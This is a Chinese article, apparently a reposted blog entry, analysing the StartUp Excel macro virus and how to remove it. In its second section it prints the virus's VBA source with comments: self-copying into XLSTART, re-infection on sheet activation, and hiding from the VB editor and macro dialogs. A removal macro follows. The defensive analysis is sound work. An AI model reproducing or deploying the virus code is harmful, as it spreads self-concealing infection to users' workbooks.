StartUp宏病毒小记 宏病毒专杀工具

StartUp宏病毒或许让不少EXCEL用户头疼过。网上所谓的专杀工具也并非都能很完美解决具体的实际问题,故而了解这个病毒的原理,找出自己能理解的解决方法是有意义的。
1.StartUp.xls为何物?
在打开任何一个EXCEL文件时,会自动打开StartUp.xls文件,并且是隐藏着的。其路径位于:除C:Documents andSettingsadministratorApplicationDataMicrosoftExcelXLSTART中。这就让病毒获得了感染的途径。这个文件是被带有StartUp宏病毒的文件感染之后,当用户再打开本机中其它EXCLE时,打开的EXCEL文件即被感染。

2.StartUp代码:
StartUp有几种形式,但都同理,下面列出的代码是其中一种常见的。
Sub auto_open()
On ErrorResume Next
'如果打开的不是StartUp.xls
IfThisWorkbook.Path <>Application.StartupPath And Dir(Application.StartupPath& "" & "StartUp.xls") = ""Then
Application.ScreenUpdating = False '不刷新屏幕
ThisWorkbook.Sheets("StartUp").Copy'复制StartUp的工作表到当前的工作簿中
ActiveWorkbook.SaveAs (Application.StartupPath &""&"StartUp.xls") '保存
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False '隐藏
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
EndIf
Application.OnSheetActivate = "StartUp.xls!cop"'工作表激活时调用StartUp模块的cop过程
Application.OnKey "%{F11}", "StartUp.xls!escape"'处理alt+F11和alt+F8快捷键,F11打开VB编辑器,F8打开宏窗口时,调用StartUp模块的escape过程
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On ErrorResume Next
'如果当前激活的工作表不是StartUp,则复制StartUp,并把选择原先用户的要激活的工作表
IfActiveWorkbook.Sheets(1).Name <>"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)
Sheets(n$).Select
EndIf
End Sub
Sub back()
On ErrorResume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"),"StartUp.xls!cop"
Workbooks.Open Application.StartupPath &"StartUp.xls"
End Sub

StartUp宏病毒小记 宏病毒专杀工具
Sub escape()
'这个过程主要是在用户打开宏窗口或是VB编辑器时看不到StartUp
On ErrorResume Next
Application.OnSheetActivate = "StartUp.xls!back"'当有工作表被激活时,startup又要回来了。
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Eachbook In Workbooks
Application.DisplayAlerts = False'在删除时,不要显示提示对话框
If book.Name= "StartUp.xls" Thenbook.Sheets("StartUp").Delete '删除StartUp
Next
For Eachbook In Workbooks
If book.Name = "StartUp.xls" Then
book.Close '关闭StartUp工作簿
End If
Next
End Sub

3.解决方法
知道了病毒的运行流程,想要处理就好办多了。有的人直接删除StartUp.xls还有C:Documents andSettingsadministratorApplicationDataMicrosoftExcelExcel11.xls,但没有处理那些已被感染了的EXCEL文件,还是会存在隐患的。对于已被感染的EXCEL文件,可以从VB编辑器中移除StartUp模块,重新保存即可,但要一个一个去删除被感染文件的StartUp模块,那着实麻烦。这时可以利用病毒已铺好的路子,自动移除StartUp模块,即仍然使用StartUp.xls,只是代码改为:
Sub auto_open()
On ErrorResume Next
Application.ScreenUpdating = False
Application.OnSheetActivate = "StartUp.xls!cop"'注意此cop方法,要依据你被感染的具体名称来改
End Sub
Sub cop()
On ErrorResume Next
For Eachbook In Workbooks
if book.Name<>"StartUp.xls"then
Set del = book.VBProject.VBComponents("StartUp")
book.VBProject.VBComponents.Remove del
end if
Next
End Sub
网上看到不少朋友只会贴代码,不了解其中原理,往往贴下来的代码是无效的。在此有几点要注意几点。
·因为删除病毒的代码是也是通过宏来运行的,所以要允许宏操作。
·删除的模块的方法使用的是工作簿的VBProject,那在宏的安全设置(工具>宏>安全性)要允许对“VB项目”的访问。
·StartUp感染的过程名,此处是cop,对应的处理过程是也是cop,如果你被感染的StartUp的子过程名是ycop,那这里也要相应的改成StartUp.xls!ycop,Subycop,否则清除病毒的代码也是运行不了的。


  

爱华网本文地址 » http://www.aihuau.com/a/25101014/206590.html

更多阅读

excel宏病毒怎么杀 精 excel宏病毒怎么处理

excel宏病毒是一种寄存在excel的宏中的计算机病毒。一旦打开这样的excel表格,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机。预防宏病毒的方法网上有很多,下面就讲讲excel宏病毒怎么杀excel宏病毒怎么杀 精——方法一:手动清

excel宏病毒怎么办 精 excel宏病毒专杀2015

当发现自己的excel文件有宏病毒的时候,如果你的excel没有用处,可以直接用杀毒软件杀就可以了,还有一些专杀工具来杀毒,但是这个可能不太适用于重要的excel文件,杀毒软件可能直接清除你的excel。我们今天分享的方法就是手动删除病毒。步骤

《春秋繁露尧舜不擅移汤武不专杀第二十五》译文 春秋繁露 pdf

《春秋繁露 尧舜不擅移汤武不专杀第二十五》译文[原文]尧舜何缘而得擅移天下哉?孝经之语曰:“事父孝,故事天明。”事天与父同礼也。今父有以重予子,子不敢擅予他人,人心皆然;则王者亦天之子也,天以天下予尧舜,尧舜受命于天而王天下,犹子安

svchost.exe病毒查杀:SVCHOST.EXE病毒清除及专杀工具

ZDNET安全频道时间:2009-07-31作者:ZDNet社区 | ZDnet社区本文关键词:Svchost.exe Svchost.exe专杀 Svchost.exe查杀 Svchost.exe清除一、手工清除SVCHOST.EXE病毒查看:svchost.exe进程是什么在开始菜单的运行中输入cmd,出现命令行提示,输

声明:《StartUp宏病毒小记 宏病毒专杀工具》为网友失恋亽分享!如侵犯到您的合法权益请联系我们删除